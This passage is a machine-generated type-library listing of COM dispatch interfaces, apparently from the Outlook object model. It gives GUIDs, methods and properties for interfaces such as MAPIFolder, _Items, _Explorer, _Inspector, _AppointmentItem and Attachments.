function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Address: BSTR;

property-put Address(BSTR);

property-get DisplayType: OlDisplayType;

property-get ID: BSTR;

property-get Manager: ^AddressEntry;

property-get MAPIOBJECT: IUnknown;

property-put MAPIOBJECT(IUnknown);

property-get Members: ^AddressEntries;

property-get Name: BSTR;

property-put Name(BSTR);

property-get Type: BSTR;

property-put Type(BSTR);

function Delete;

function Details([HWnd:variant]);

function GetFreeBusy(Start:date; MinPerChar:I4; [CompleteFormat:variant]): BSTR;

function Update([MakePermanent:variant; Refresh:variant]);

function UpdateFreeBusy;

Dispatch AddressEntries;

GUID={0006304A-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Count: I4;

function Item(Index:variant): ^AddressEntry;

property-get RawTable: IUnknown;

function Add(Type:BSTR; [Name:variant; Address:variant]): ^AddressEntry;

function GetFirst: ^AddressEntry;

function GetLast: ^AddressEntry;

function GetNext: ^AddressEntry;

function GetPrevious: ^AddressEntry;

function Sort([Property:variant; Order:variant]);

Dispatch _Folders;

GUID={00063040-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Count: I4;

function Item(Index:variant): ^MAPIFolder;

property-get RawTable: IUnknown;

function Add(Name:BSTR; [Type:variant]): ^MAPIFolder;

function GetFirst: ^MAPIFolder;

function GetLast: ^MAPIFolder;

function GetNext: ^MAPIFolder;

function GetPrevious: ^MAPIFolder;

function Remove(Index:I4);

Dispatch MAPIFolder;

GUID={00063006-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get DefaultItemType: OlItemType;

property-get DefaultMessageClass: BSTR;

property-get Description: BSTR;

property-put Description(BSTR);

property-get EntryID: BSTR;

property-get Folders: ^_Folders;

property-get Items: ^_Items;

property-get Name: BSTR;

property-put Name(BSTR);

property-get StoreID: BSTR;

property-get UnReadItemCount: I4;

function CopyTo(DestinationFolder:^MAPIFolder): ^MAPIFolder;

function Delete;

function Display;

function GetExplorer([DisplayMode:variant]): ^_Explorer;

function MoveTo(DestinationFolder:^MAPIFolder);

property-get UserPermissions: IDispatch;

property-get WebViewOn: bool;

property-put WebViewOn(bool);

property-get WebViewURL: BSTR;

property-put WebViewURL(BSTR);

property-get WebViewAllowNavigation: bool;

property-put WebViewAllowNavigation(bool);

function AddToPFFavorites;

Dispatch _Items;

GUID={00063041-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Count: I4;

function Item(Index:variant): IDispatch;

property-get RawTable: IUnknown;

property-get IncludeRecurrences: bool;

property-put IncludeRecurrences(bool);

function Add([Type:variant]): IDispatch;

function Find(Filter:BSTR): IDispatch;

function FindNext: IDispatch;

function GetFirst: IDispatch;

function GetLast: IDispatch;

function GetNext: IDispatch;

function GetPrevious: IDispatch;

function Remove(Index:I4);

function ResetColumns;

function Restrict(Filter:BSTR): ^_Items;

function SetColumns(Columns:BSTR);

function Sort(Property:BSTR; [Descending:variant]);

Dispatch _Explorer;

GUID={00063003-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get CommandBars: ^CommandBars;

property-get CurrentFolder: ^MAPIFolder;

property-putref CurrentFolder(^MAPIFolder);

function Close;

function Display;

property-get Caption: BSTR;

property-get CurrentView: variant;

property-put CurrentView(variant);

property-get Height: I4;

property-put Height(I4);

property-get Left: I4;

property-put Left(I4);

property-get Panes: ^Panes;

property-get Selection: ^Selection;

property-get Top: I4;

property-put Top(I4);

property-get Width: I4;

property-put Width(I4);

property-get WindowState: OlWindowState;

property-put WindowState(OlWindowState);

function Activate;

function IsPaneVisible(Pane:OlPane): bool;

function ShowPane(Pane:OlPane; Visible:bool);

property-get Views: IDispatch;

Dispatch Panes;

GUID={00063009-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Count: I4;

function Item(Index:variant): IDispatch;

Dispatch Selection;

GUID={00063087-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Count: I4;

function Item(Index:variant): IDispatch;

Dispatch AddressLists;

GUID={00063048-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Count: I4;

function Item(Index:variant): ^AddressList;

Dispatch AddressList;

GUID={00063049-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get AddressEntries: ^AddressEntries;

property-get ID: BSTR;

property-get Index: I4;

property-get IsReadOnly: bool;

property-get Name: BSTR;

Dispatch SyncObjects;

GUID={00063086-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Count: I4;

function Item(Index:variant): ^SyncObject;

Class SyncObject;

GUID={00063084-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Name: BSTR;

function Start;

function Stop;

function SyncStart;

function Progress(State:OlSyncState; Description:BSTR; Value:I4; Max:I4);

function OnError(Code:I4; Description:BSTR);

function SyncEnd;

Dispatch _SyncObject;

GUID={00063083-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Name: BSTR;

function Start;

function Stop;

Dispatch SyncObjectEvents;

GUID={00063085-0000-0000-C000-000000000046};

function SyncStart;

function Progress(State:OlSyncState; Description:BSTR; Value:I4; Max:I4);

function OnError(Code:I4; Description:BSTR);

function SyncEnd;

Dispatch _Inspector;

GUID={00063005-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get CommandBars: ^CommandBars;

property-get CurrentItem: IDispatch;

property-get EditorType: OlEditorType;

property-get ModifiedFormPages: IDispatch;

function Close(SaveMode:OlInspectorClose);

function Display([Modal:variant]);

function HideFormPage(PageName:BSTR);

function IsWordMail: bool;

function SetCurrentFormPage(PageName:BSTR);

function ShowFormPage(PageName:BSTR);

property-get HTMLEditor: IDispatch;

property-get WordEditor: IDispatch;

property-get Caption: BSTR;

property-get Height: I4;

property-put Height(I4);

property-get Left: I4;

property-put Left(I4);

property-get Top: I4;

property-put Top(I4);

property-get Width: I4;

property-put Width(I4);

property-get WindowState: OlWindowState;

property-put WindowState(OlWindowState);

function Activate;

Dispatch _Explorers;

GUID={0006300A-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Count: I4;

function Item(Index:variant): ^Explorer;

function Add(Folder:variant; DisplayMode:OlFolderDisplayMode): ^_Explorer;

Class Explorer;

GUID={00063050-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get CommandBars: ^CommandBars;

property-get CurrentFolder: ^MAPIFolder;

property-putref CurrentFolder(^MAPIFolder);

function Close;

function Display;

property-get Caption: BSTR;

property-get CurrentView: variant;

property-put CurrentView(variant);

property-get Height: I4;

property-put Height(I4);

property-get Left: I4;

property-put Left(I4);

property-get Panes: ^Panes;

property-get Selection: ^Selection;

property-get Top: I4;

property-put Top(I4);

property-get Width: I4;

property-put Width(I4);

property-get WindowState: OlWindowState;

property-put WindowState(OlWindowState);

function Activate;

function IsPaneVisible(Pane:OlPane): bool;

function ShowPane(Pane:OlPane; Visible:bool);

property-get Views: IDispatch;

function Activate;

function FolderSwitch;

function BeforeFolderSwitch(NewFolder:IDispatch; Cancel:^bool);

function ViewSwitch;

function BeforeViewSwitch(NewView:variant; Cancel:^bool);

function Deactivate;

function SelectionChange;

function Close;

Dispatch ExplorerEvents;

GUID={0006304F-0000-0000-C000-000000000046};

function Activate;

function FolderSwitch;

function BeforeFolderSwitch(NewFolder:IDispatch; Cancel:^bool);

function ViewSwitch;

function BeforeViewSwitch(NewView:variant; Cancel:^bool);

function Deactivate;

function SelectionChange;

function Close;

Dispatch _Inspectors;

GUID={00063008-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Count: I4;

function Item(Index:variant): ^Inspector;

function Add(Item:IDispatch): ^_Inspector;

Class Inspector;

GUID={00063058-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get CommandBars: ^CommandBars;

property-get CurrentItem: IDispatch;

property-get EditorType: OlEditorType;

property-get ModifiedFormPages: IDispatch;

function Close(SaveMode:OlInspectorClose);

function Display([Modal:variant]);

function HideFormPage(PageName:BSTR);

function IsWordMail: bool;

function SetCurrentFormPage(PageName:BSTR);

function ShowFormPage(PageName:BSTR);

property-get HTMLEditor: IDispatch;

property-get WordEditor: IDispatch;

property-get Caption: BSTR;

property-get Height: I4;

property-put Height(I4);

property-get Left: I4;

property-put Left(I4);

property-get Top: I4;

property-put Top(I4);

property-get Width: I4;

property-put Width(I4);

property-get WindowState: OlWindowState;

property-put WindowState(OlWindowState);

function Activate;

function Activate;

function Deactivate;

function Close;

Dispatch InspectorEvents;

GUID={0006307D-0000-0000-C000-000000000046};

function Activate;

function Deactivate;

function Close;

Dispatch Actions;

GUID={0006303E-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Count: I4;

function Item(Index:variant): ^Action;

function Add: ^Action;

function Remove(Index:I4);

Dispatch ApplicationEvents;

GUID={0006304E-0000-0000-C000-000000000046};

function ItemSend(Item:IDispatch; Cancel:^bool);

function NewMail;

function Reminder(Item:IDispatch);

function OptionsPagesAdd(Pages:^PropertyPages);

function Startup;

function Quit;

Dispatch PropertyPages;

GUID={00063080-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Count: I4;

function Item(Index:variant): IDispatch;

function Add(Page:variant; Title:BSTR);

function Remove(Index:variant);

Dispatch _AppointmentItem;

GUID={00063033-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Actions: ^Actions;

property-get Attachments: ^Attachments;

property-get BillingInformation: BSTR;

property-put BillingInformation(BSTR);

property-get Body: BSTR;

property-put Body(BSTR);

property-get Categories: BSTR;

property-put Categories(BSTR);

property-get Companies: BSTR;

property-put Companies(BSTR);

property-get ConversationIndex: BSTR;

property-get ConversationTopic: BSTR;

property-get CreationTime: date;

property-get EntryID: BSTR;

property-get FormDescription: ^FormDescription;

property-get GetInspector: ^_Inspector;

property-get Importance: OlImportance;

property-put Importance(OlImportance);

property-get LastModificationTime: date;

property-get MAPIOBJECT: IUnknown;

property-get MessageClass: BSTR;

property-put MessageClass(BSTR);

property-get Mileage: BSTR;

property-put Mileage(BSTR);

property-get NoAging: bool;

property-put NoAging(bool);

property-get OutlookInternalVersion: I4;

property-get OutlookVersion: BSTR;

property-get Saved: bool;

property-get Sensitivity: OlSensitivity;

property-put Sensitivity(OlSensitivity);

property-get Size: I4;

property-get Subject: BSTR;

property-put Subject(BSTR);

property-get UnRead: bool;

property-put UnRead(bool);

property-get UserProperties: ^UserProperties;

function Close(SaveMode:OlInspectorClose);

function Copy: IDispatch;

function Delete;

function Display([Modal:variant]);

function Move(DestFldr:^MAPIFolder): IDispatch;

function PrintOut;

function Save;

function SaveAs(Path:BSTR; [Type:variant]);

property-get AllDayEvent: bool;

property-put AllDayEvent(bool);

property-get BusyStatus: OlBusyStatus;

property-put BusyStatus(OlBusyStatus);

property-get Duration: I4;

property-put Duration(I4);

property-get End: date;

property-put End(date);

property-get IsOnlineMeeting: bool;

property-put IsOnlineMeeting(bool);

property-get IsRecurring: bool;

property-get Location: BSTR;

property-put Location(BSTR);

property-get MeetingStatus: OlMeetingStatus;

property-put MeetingStatus(OlMeetingStatus);

property-get NetMeetingAutoStart: bool;

property-put NetMeetingAutoStart(bool);

property-get NetMeetingOrganizerAlias: BSTR;

property-put NetMeetingOrganizerAlias(BSTR);

property-get NetMeetingServer: BSTR;

property-put NetMeetingServer(BSTR);

property-get NetMeetingType: OlNetMeetingType;

property-put NetMeetingType(OlNetMeetingType);

property-get OptionalAttendees: BSTR;

property-put OptionalAttendees(BSTR);

property-get Organizer: BSTR;

property-get Recipients: ^Recipients;

property-get RecurrenceState: OlRecurrenceState;

property-get ReminderMinutesBeforeStart: I4;

property-put ReminderMinutesBeforeStart(I4);

property-get ReminderOverrideDefault: bool;

property-put ReminderOverrideDefault(bool);

property-get ReminderPlaySound: bool;

property-put ReminderPlaySound(bool);

property-get ReminderSet: bool;

property-put ReminderSet(bool);

property-get ReminderSoundFile: BSTR;

property-put ReminderSoundFile(BSTR);

property-get ReplyTime: date;

property-put ReplyTime(date);

property-get RequiredAttendees: BSTR;

property-put RequiredAttendees(BSTR);

property-get Resources: BSTR;

property-put Resources(BSTR);

property-get ResponseRequested: bool;

property-put ResponseRequested(bool);

property-get ResponseStatus: OlResponseStatus;

property-get Start: date;

property-put Start(date);

function ClearRecurrencePattern;

function ForwardAsVcal: ^MailItem;

function GetRecurrencePattern: ^RecurrencePattern;

function Respond(Response:OlMeetingResponse; [fNoUI:variant; fAdditionalTextDialog:variant]): ^MeetingItem;

function Send;

property-get NetMeetingDocPathName: BSTR;

property-put NetMeetingDocPathName(BSTR);

property-get NetShowURL: BSTR;

property-put NetShowURL(BSTR);

property-get Links: ^Links;

property-get ConferenceServerAllowExternal: bool;

property-put ConferenceServerAllowExternal(bool);

property-get ConferenceServerPassword: BSTR;

property-put ConferenceServerPassword(BSTR);

Dispatch Attachments;

GUID={0006303C-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Count: I4;

function Item(Index:variant): ^Attachment;

function Add(Source:variant; [Type:variant; Position:variant; DisplayName:variant]): ^Attachment;

function Remove(Index:I4);

Dispatch Attachment;

GUID={00063007-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get DisplayName: BSTR;

property-put DisplayName(BSTR);

property-get FileName: BSTR;

property-get Index: I4;

property-get MAPIOBJECT: IUnknown;

property-get PathName: BSTR;

property-get Position: I4;

property-put Position(I4);

property-get Type: OlAttachmentType;

function Delete;

function SaveAsFile(Path:BSTR);

Dispatch FormDescription;

GUID={00063046-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Category: BSTR;

property-put Category(BSTR);

property-get CategorySub: BSTR;

property-put CategorySub(BSTR);

property-get Comment: BSTR;

property-put Comment(BSTR);

property-get ContactName: BSTR;

property-put ContactName(BSTR);

property-get DisplayName: BSTR;

property-put DisplayName(BSTR);

property-get Hidden: bool;

property-put Hidden(bool);

property-get Icon: BSTR;

property-put Icon(BSTR);

property-get Locked: bool;

property-put Locked(bool);

property-get MessageClass: BSTR;

property-get MiniIcon: BSTR;

property-put MiniIcon(BSTR);

property-get Name: BSTR;

property-put Name(BSTR);

property-get Number: BSTR;

property-put Number(BSTR);

property-get OneOff: bool;

property-put OneOff(bool);

property-get Password: BSTR;

property-put Password(BSTR);

property-get ScriptText: BSTR;

property-get Template: BSTR;

property-put Template(BSTR);

property-get UseWordMail: bool;

property-put UseWordMail(bool);

property-get Version: BSTR;

property-put Version(BSTR);

function PublishForm(Registry:OlFormRegistry; [Folder:variant]);

Dispatch UserProperties;

GUID={0006303D-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

